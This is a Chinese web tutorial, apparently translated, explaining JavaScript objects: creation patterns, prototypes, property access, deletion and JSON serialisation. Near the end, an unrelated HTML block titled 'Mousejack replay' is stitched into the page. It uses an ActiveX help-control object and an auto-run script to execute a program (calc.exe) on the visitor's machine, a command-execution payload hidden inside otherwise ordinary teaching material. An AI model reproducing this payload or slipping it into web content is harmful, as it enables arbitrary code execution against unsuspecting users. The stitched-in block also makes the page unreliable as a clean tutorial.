詳解JavaScript對(duì)象類型
JavaScrtip有六種數(shù)據(jù)類型,一種復(fù)雜的數(shù)據(jù)類型(引用類型),即Object對(duì)象類型,還有五種簡(jiǎn)單的數(shù)據(jù)類型(原始類型):Number、String、Boolean、Undefined和Null。其中,最核心的類型就是對(duì)象類型了。同時(shí)要注意,簡(jiǎn)單類型都是不可變的,而對(duì)象類型是可變的。
什么是對(duì)象
一個(gè)對(duì)象是一組簡(jiǎn)單數(shù)據(jù)類型(有時(shí)是引用數(shù)據(jù)類型)的無(wú)序列表,被存儲(chǔ)為一系列的名-值對(duì)(name-value pairs)。這個(gè)列表中的每一項(xiàng)被稱為 屬性(如果是函數(shù)則被稱為 方法)。
下面是一個(gè)簡(jiǎn)單的對(duì)象:
var myFirstObject = { firstName: "Richard", favoriteAuthor: "Conrad" };
可以把對(duì)象考慮成一個(gè)列表,列表中的每一項(xiàng)(屬性或方法)都以名-值對(duì)的方式存儲(chǔ)。上面例子中,對(duì)象的屬性名就是firstName和favortieAuthor,相應(yīng)的,對(duì)象的屬性值為Richard和Conrad。
屬性名可以是字符串或者數(shù)字,但是如果以數(shù)字作為屬性名,則必須以方括號(hào)(方括號(hào)記法)來(lái)獲得這個(gè)數(shù)字屬性名對(duì)應(yīng)的屬性值。稍后有方括號(hào)記法的更詳細(xì)解釋。下面是一個(gè)方括號(hào)記法的例子:
var ageGroup = {30: "Children", 100:"Very Old"}; console.log(ageGroup.30) // 報(bào)錯(cuò) // 訪問(wèn)30這個(gè)屬性的正確方法 console.log(ageGroup["30"]); // Children //最好避免使用數(shù)字作為屬性名
作為一個(gè)JavaScript程序員,你會(huì)經(jīng)常使用到對(duì)象數(shù)據(jù)類型。一般用它來(lái)儲(chǔ)存數(shù)據(jù),或者創(chuàng)建自定義的方法或函數(shù)。
引用數(shù)據(jù)類型和原始數(shù)據(jù)類型
引用類型與原始類型最主要的一個(gè)不同點(diǎn)就是引用類型是按引用存儲(chǔ)的,它不會(huì)像原始類型一樣,將值直接存儲(chǔ)在變量中。比如:
// 原始類型數(shù)據(jù)是按值存儲(chǔ)的 var person = "Kobe"; var anotherPerson = person; // anotherPerson = the value of person person = "Bryant"; // person的值改變了 console.log(anotherPerson); // Kobe console.log(person); // Bryan
可以注意到,即使我們將person的值改為"Bryant",對(duì)anthoerPerson也會(huì)不有絲毫影響,它仍然保存了原本person賦給它的值。
將原始類型的按值存儲(chǔ)跟引用類型的按引用存儲(chǔ)進(jìn)行一下比較:
var person = {name: "Kobe"}; var anotherPerson = person; person.name = "Bryant"; console.log(anotherPerson.name); // Bryant console.log(person.name); // Bryant
在這個(gè)例子中,我們將person對(duì)象復(fù)制給了anthoerPerson,但是由于person對(duì)象中存儲(chǔ)的是引用而不是真正的值。所以當(dāng)我們將person.name改變?yōu)?Bryant"的時(shí)候,anotherPerson變量也反應(yīng)出了這個(gè)變化,因?yàn)樗](méi)有將person中的所有屬性都復(fù)制一份保存起來(lái),而是直接保存了對(duì)象的引用。
對(duì)象屬性的特性(Attributes)
注:Attribute一般也是翻譯為屬性,但是為了跟Propertie(也翻譯為屬性)進(jìn)行區(qū)分,這里將其翻譯為特性,這也是咨詢過(guò)別人的,應(yīng)該無(wú)傷大雅
每個(gè)對(duì)象屬性不止保存了自身的名-值對(duì),它同時(shí)還包含了三個(gè)特性,這三個(gè)特性默認(rèn)被設(shè)置為true。
•Configurable Attribute: 指定這個(gè)對(duì)象屬性是否可以被刪除或修改。
•Enumerable:指定這個(gè)對(duì)象屬性在for-in循環(huán)中是否可以被取得。
•Writable:指定這個(gè)對(duì)象屬性是否可以被修改。
在EMACScript 5中有一些新的特性,這里不做詳細(xì)講解。
創(chuàng)建對(duì)象
創(chuàng)建對(duì)象有兩種比較常用的方法:
1.對(duì)象字面量
這是創(chuàng)建對(duì)象最常用,也是最簡(jiǎn)單的方式,直接使用字面量進(jìn)行創(chuàng)建:
// 空對(duì)象 var myBooks = {}; // 使用字面量創(chuàng)建的包含4個(gè)屬性的對(duì)象 var mango = { color: "yellow", shape: "round", sweetness: 8, howSweetAmI: function () { console.log("Hmm Hmm Good"); } }
2.對(duì)象構(gòu)造函數(shù)
第二種常用的方法是使用對(duì)象構(gòu)造函數(shù)。構(gòu)造函數(shù)是一種可以用來(lái)創(chuàng)建新對(duì)象的特殊函數(shù),要使用new關(guān)鍵字來(lái)調(diào)用構(gòu)造函數(shù)。
var mango = new Object (); mango.color = "yellow"; mango.shape= "round"; mango.sweetness = 8; mango.howSweetAmI = function () { console.log("Hmm Hmm Good"); }
雖然可以使用某些保留字或關(guān)鍵字,比如for作為對(duì)象屬性的名稱,不過(guò)這可不是一個(gè)明智的選擇。
對(duì)象的屬性可以包含任何數(shù)據(jù)類型,包括Number,Arrays,甚至是其它的Object。
對(duì)象創(chuàng)建的實(shí)踐模式
對(duì)于創(chuàng)建只使用一次的用于存儲(chǔ)數(shù)據(jù)的簡(jiǎn)單對(duì)象,上面的兩種方法就可以滿足需求。
但是,假設(shè)有一個(gè)程序用于展示水果和它的詳細(xì)信息。程序中的每個(gè)水果類型都有如下對(duì)象屬性:color, shape, sweetness, cost 和一個(gè)showName函數(shù)。要是每次創(chuàng)建一個(gè)新的水果對(duì)象時(shí),都得敲一遍下面的代碼,那將是十分乏味和低效率的。
var mangoFruit = { color: "yellow", sweetness: 8, fruitName: "Mango", nativeToLand: ["South America", "Central America"], showName: function () { console.log("This is " + this.fruitName); }, nativeTo: function () { this.nativeToLand.forEach(function (eachCountry) { console.log("Grown in:" + eachCountry); }); } }
如果你有10個(gè)水果,你就得添加10次相同的代碼。并且,如果想修改nativeTo函數(shù),就得在10個(gè)不同的地方進(jìn)行修改。再進(jìn)一步推想,如果你在開(kāi)發(fā)一個(gè)大型網(wǎng)站,你為上面的對(duì)象都一個(gè)一個(gè)添加了屬性。但是,你突然發(fā)現(xiàn)你創(chuàng)建對(duì)象的方式不是很理想,你想要進(jìn)行修改,這時(shí)又該怎么辦。
為了解決這些重復(fù)性的問(wèn)題,軟件工程師們發(fā)明了各種模式(對(duì)于重復(fù)問(wèn)題和常見(jiàn)任務(wù)的解決方案),使用開(kāi)發(fā)程序更有效率和合理化。
下面是兩種創(chuàng)建對(duì)象的常用模式:
1.構(gòu)造方法模式
function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) { this.color = theColor; this.sweetness = theSweetness; this.fruitName = theFruitName; this.nativeToLand = theNativeToLand; this.showName = function () { console.log("This is a " + this.fruitName); } this.nativeTo = function () { this.nativeToLand.forEach(function (eachCountry) { console.log("Grown in:" + eachCountry); }); } }
使用這種模式,很容易就可以創(chuàng)建出各式各樣的水果來(lái)。像這樣:
var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]); mangoFruit.showName(); // This is a Mango. mangoFruit.nativeTo(); //Grown in:South America // Grown in:Central America // Grown in:West Africa var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]); pineappleFruit.showName(); // This is a Pineapple.
如果你要改變屬性或方法,你只需要在一個(gè)地方進(jìn)行修改就可以了。這個(gè)模式通過(guò)一個(gè)Fruit函數(shù)的繼承,封裝了所有水果的功能和特性。
注意:
◦可繼承的屬性需要定義在對(duì)象的prototype對(duì)象屬性上。比如
someObject.prototype.firstName = "rich";
◦屬于自身的屬性要直接定義在對(duì)象的上。比如:
// 首先,創(chuàng)建一個(gè)對(duì)象 var aMango = new Fruit (); // 接著,直接在對(duì)象上定義mongoSpice方法 // 因?yàn)槲覀冎苯釉趯?duì)象身上定義了mangoSpice屬性,所以它是aMango自身的屬性,不是一個(gè)可繼承的屬性 aMango.mangoSpice = “some value”;
◦要訪問(wèn)一個(gè)對(duì)象的屬性,使用object.property,如:
console.log(aMango.mangoSpice); // "some value"
◦要調(diào)用一個(gè)對(duì)象的方法,使用object.method(),如:
// 首先,增加一個(gè)方法 aMango.printStuff = function() { return "Printing"; } // 現(xiàn)在,可以調(diào)用printStuff方法 aMango.printStuff();
2.原型模式
function Fruit () { } Fruit.prototype.color = "Yellow"; Fruit.prototype.sweetness = 7; Fruit.prototype.fruitName = "Generic Fruit"; Fruit.prototype.nativeToLand = "USA"; Fruit.prototype.showName = function () { console.log("This is a " + this.fruitName); } Fruit.prototype.nativeTo = function () { console.log("Grown in:" + this.nativeToLand); }
下面是在原型模式中調(diào)用Fruit()構(gòu)造函數(shù)的方法:
var mangoFruit = new Fruit (); mangoFruit.showName(); // mangoFruit.nativeTo(); // This is a Generic Fruit // Grown in:USA
擴(kuò)展閱讀
如果需要了解這兩種模式的更詳細(xì)的解釋,可以閱讀《JavaScript高級(jí)程序設(shè)計(jì)》的第六章,其中詳細(xì)討論了這兩種方法的優(yōu)缺點(diǎn)。書(shū)中還討論了除這兩個(gè)外的其它模式。
如何訪問(wèn)對(duì)象中的屬性
訪問(wèn)對(duì)象屬性的兩種主要方法是點(diǎn)記法(dot notation)和中括號(hào)記法(bracket notation)。
1.點(diǎn)記法
// 這是我們前面例子中一直使用的訪問(wèn)屬性的方法 var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"}; // 使用點(diǎn)記法訪問(wèn)book對(duì)象的title和pages屬性: console.log ( book.title); // Ways to Go console.log ( book.pages); // 280
2.中括號(hào)記法
// 使用方括號(hào)啟示訪問(wèn)book對(duì)象的屬性: console.log ( book["title"]); //Ways to Go console.log ( book["pages"]); // 280 //如果屬性名儲(chǔ)存在一個(gè)變量當(dāng)中,也可以這樣: var bookTitle = "title"; console.log ( book[bookTitle]); // Ways to Go console.log (book["bookMark" + 1]); // Page 20
訪問(wèn)一個(gè)對(duì)象中不存在的屬性會(huì)得到一個(gè)undefined。
自身屬性和繼承屬性
對(duì)象擁有自身屬性和繼承屬性。自身屬性是直接定義在對(duì)象上的屬性,而繼承屬性是從Object的Prototype繼承的屬性。
為了確寫(xiě)一個(gè)對(duì)象是否擁有某個(gè)屬性(不管是自身屬性還是繼承屬性),可以使用in操作符:
// 創(chuàng)建一個(gè)有schoolName屬性的對(duì)象 var school = {schoolName:"MIT"}; // 打印出true,因?yàn)閷?duì)象擁有schoolName這個(gè)屬性 console.log("schoolName" in school); // true // 打印出false,因?yàn)槲覀兗葲](méi)有定義schoolType屬性,也沒(méi)有從Object的Prototype中繼承schoolType屬性 console.log("schoolType" in school); // false // 打印出true, 因?yàn)閺腛bject的Prototype中繼承了toString方法 console.log("toString" in school); // true
hasOwnProperty
為了確定一個(gè)對(duì)象是否擁有一個(gè)特定的自身屬性,可以使用hasOwnPrototype方法。這個(gè)方法十分有用,因?yàn)槲覀兘?jīng)常需要枚舉一個(gè)對(duì)象的所有自身屬性,而不是繼承屬性。
// 創(chuàng)建一個(gè)擁有schoolName屬性的對(duì)象 var school = {schoolName:"MIT"}; // 打印出true,因?yàn)閟chooName是school的自身屬性 console.log(school.hasOwnProperty ("schoolName")); // true // 打印出false,因?yàn)閠oString是從Object的Prototype中繼承下來(lái)的,并且school的自身屬性 console.log(school.hasOwnProperty ("toString")); // false
訪問(wèn)和枚舉對(duì)象中的屬性
為了訪問(wèn)對(duì)象中可以枚舉的屬性(自身或者繼承的),可以使用for-in循環(huán)或普通的循環(huán)方式。
// 創(chuàng)建擁有3個(gè)屬性的school對(duì)象: schoolName, schoolAccredited, and schoolLocation. var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"}; //使用for-in循環(huán)獲取對(duì)象中的屬性 for (var eachItem in school) { console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation }
訪問(wèn)繼承的屬性
從Object的Prototype中繼承的屬性不可枚舉的,所以在for-in循環(huán)中不會(huì)訪問(wèn)到這些屬性。然而,如果是可枚舉的繼承屬性,它們也是能夠從for-in循環(huán)中訪問(wèn)到的。
比如:
//使用for-in循環(huán)訪問(wèn)school對(duì)象中的屬性 for (var eachItem in school) { console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation } // 注:以下這段說(shuō)明是原文的說(shuō)明 /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property. */ // Create a new HigherLearning function that the school object will inherit from. function HigherLearning () { this.educationLevel = "University"; } // Implement inheritance with the HigherLearning constructor var school = new HigherLearning (); school.schoolName = "MIT"; school.schoolAccredited = true; school.schoolLocation = "Massachusetts"; //Use of the for/in loop to access the properties in the school object for (var eachItem in school) { console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation }
刪除對(duì)象中的屬性
可以使用delete操作符來(lái)刪除對(duì)象中的屬性。我們不能刪除繼承的屬性,同時(shí)也不能刪除Configurable特性被設(shè)置為false的對(duì)象屬性。要?jiǎng)h除繼承的屬性,必須從Prototype對(duì)象中刪除(也就是定義這些屬性的地方)。并且,我們也不能刪除全局對(duì)象中的屬性。
刪除成功的時(shí)候,delete操作符會(huì)返回true。令人意外的是,當(dāng)要?jiǎng)h除的屬性不存在,或者不能被刪除(即不是自身的屬性或者Configurable特性被設(shè)置為false)時(shí), delete操作符也會(huì)返回true。
以下是示例:
var christmasList = {mike:"Book", jason:"sweater" } delete christmasList.mike; // deletes the mike property for (var people in christmasList) { console.log(people); } // Prints only jason // The mike property was deleted delete christmasList.toString; // 返回 true, 但是因?yàn)閠oString是繼承的屬性,所以它不會(huì)被刪除 // 因?yàn)閠oString沒(méi)有被刪除,所以這里還能夠正常使用 christmasList.toString(); //"[object Object]" // 如果一個(gè)屬性是對(duì)象實(shí)例的自身屬性,則我們可以刪除它。 // 比如我們可以從之前例子中定義的school對(duì)象中刪除educationLevel屬性, // 因?yàn)閑ducationLevel是定義在那個(gè)實(shí)例中的:我們?cè)贖igherLearning函數(shù)中定義educationLevel時(shí)使用了"this"關(guān)鍵字。 //我們并沒(méi)有在HigherLearning函數(shù)的prototype對(duì)象在定義educationLevel屬性。 console.log(school.hasOwnProperty("educationLevel")); // true // educationLevel是一個(gè)school對(duì)象的一個(gè)自身屬性,所以 我們可以刪除它 delete school.educationLevel; // true // educationLevel屬性已經(jīng)從school實(shí)例中刪除了 console.log(school.educationLevel); // undefined // 但是educationLevel屬性仍然存在于HigherLearning函數(shù)中 var newSchool = new HigherLearning (); console.log(newSchool.educationLevel); // University // 如果我們?cè)贖igherLearning函數(shù)prototype中定義了一個(gè)屬性, 比如這個(gè)educationLevel2屬性: HigherLearning.prototype.educationLevel2 = "University 2"; // 這個(gè)educationLevel2屬性不屬性HigherLearning實(shí)例的自身屬性 // educationLevel2屬性不是school實(shí)例的自身屬性 console.log(school.hasOwnProperty("educationLevel2")); false console.log(school.educationLevel2); // University 2 // 嘗試刪除繼承的educationLevel2屬性 delete school.educationLevel2; // true (正如前面所提到的,這個(gè)表達(dá)式會(huì)返回true) // 繼承的educationLevel2屬性沒(méi)有被刪除 console.log(school.educationLevel2); University 2
序列化和反序列化對(duì)象
為了在HTTP中傳遞對(duì)象或者將對(duì)象轉(zhuǎn)化成字符串,我們必須將對(duì)象序列化(將其轉(zhuǎn)化為字符串)。我們可以使用JSON.stringify來(lái)序列化對(duì)象。要注意的是,在ECMAScript 5之前的版本,我們要使用json2庫(kù)來(lái)獲得JSON.stringify函數(shù)。在ECMAScript 5中,這個(gè)函數(shù)已經(jīng)成為標(biāo)準(zhǔn)函數(shù)。
為了將反序列化對(duì)象(即,將字符串轉(zhuǎn)化成對(duì)象),可以使用JSON.parse函數(shù)來(lái)完成。同樣,在第5版之前要從json2庫(kù)中獲取這個(gè)函數(shù),在第5版中已經(jīng)加入這個(gè)標(biāo)準(zhǔn)函數(shù)。
示例代碼:
var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" } JSON.stringify (christmasList); // Prints this string: // "{"mike":"Book","jason":"sweater","chels":"iPad"}" // To print a stringified object with formatting, add "null" and "4" as parameters: JSON.stringify (christmasList, null, 4); // "{ // "mike": "Book", // "jason": "sweater", // "chels": "iPad" // }" // JSON.parse Examples // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike) var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}'; // Let's convert it to an object var christmasListObj = JSON.parse (christmasListStr); // Now that it is an object, we use dot notation console.log(christmasListObj.mike); // Book
更多關(guān)于JavaScript對(duì)象的討論和解釋,以及ECMAScript第5版增加的內(nèi)容,可以參考《JavaScript權(quán)威指南(第6版)》第六章。
后記
第一次翻譯文章,真心覺(jué)得要把翻譯做好也不是那么簡(jiǎn)單的,很多簡(jiǎn)單的句子看著很明白,結(jié)果真正想翻譯出來(lái)的時(shí)候,卻是死活想不出合適的表達(dá)方式。通篇文章都是根據(jù)我自己的理解,然后通過(guò)意譯出來(lái)的,沒(méi)有逐句進(jìn)行翻譯。所以,如果有哪些地方理解有偏差,或者翻譯不當(dāng)?shù)牡胤?,?qǐng)盡量指出,我會(huì)盡快改正。畢竟翻譯這往篇文章也是想跟大家分享,我不希望因?yàn)樽约豪斫獾腻e(cuò)誤,導(dǎo)致對(duì)大家產(chǎn)生誤導(dǎo)。
就醬,收工。
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
PixiJS學(xué)習(xí)之Sprite類的使用詳解
Sprite 直譯為 “精靈”,是游戲開(kāi)發(fā)中常見(jiàn)的術(shù)語(yǔ),就是將一個(gè)角色的多個(gè)動(dòng)作放到一個(gè)圖片里,通過(guò)裁剪局部區(qū)域得到當(dāng)前的角色狀態(tài)圖。本文主要介紹了PixiJS中Sprite類的使用,需要的可以參考一下2023-02-02webpack5搭建一個(gè)簡(jiǎn)易的react腳手架項(xiàng)目實(shí)踐
本文文章主要介紹了webpack5搭建一個(gè)簡(jiǎn)易的react腳手架項(xiàng)目實(shí)踐,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2022-05-05JavaScript 申明函數(shù)的三種方法 每個(gè)函數(shù)就是一個(gè)對(duì)象(一)
JavaScript 申明函數(shù)的三種方法 每個(gè)函數(shù)就是一個(gè)對(duì)象(一)2009-12-12JS實(shí)現(xiàn)PC手機(jī)端和嵌入式滑動(dòng)拼圖驗(yàn)證碼三種效果
這篇文章主要介紹了JS實(shí)現(xiàn)PC手機(jī)端和嵌入式滑動(dòng)拼圖驗(yàn)證碼三種效果,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下2017-02-02uniapp開(kāi)發(fā)H5打包微信小程序樣式失效的完美解決方法
本文主要介紹了在使用uniapp開(kāi)發(fā)H5頁(yè)面并打包成微信小程序時(shí),可能會(huì)出現(xiàn)樣式失效的問(wèn)題,并提供了解決方法,通過(guò)本文的學(xué)習(xí),讀者可以了解uniapp開(kāi)發(fā)H5頁(yè)面打包成微信小程序的注意事項(xiàng),避免出現(xiàn)樣式失效等問(wèn)題2023-03-03JS 對(duì)java返回的json格式的數(shù)據(jù)處理方法
下面小編就為大家?guī)?lái)一篇JS 對(duì)java返回的json格式的數(shù)據(jù)處理方法。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧2016-12-12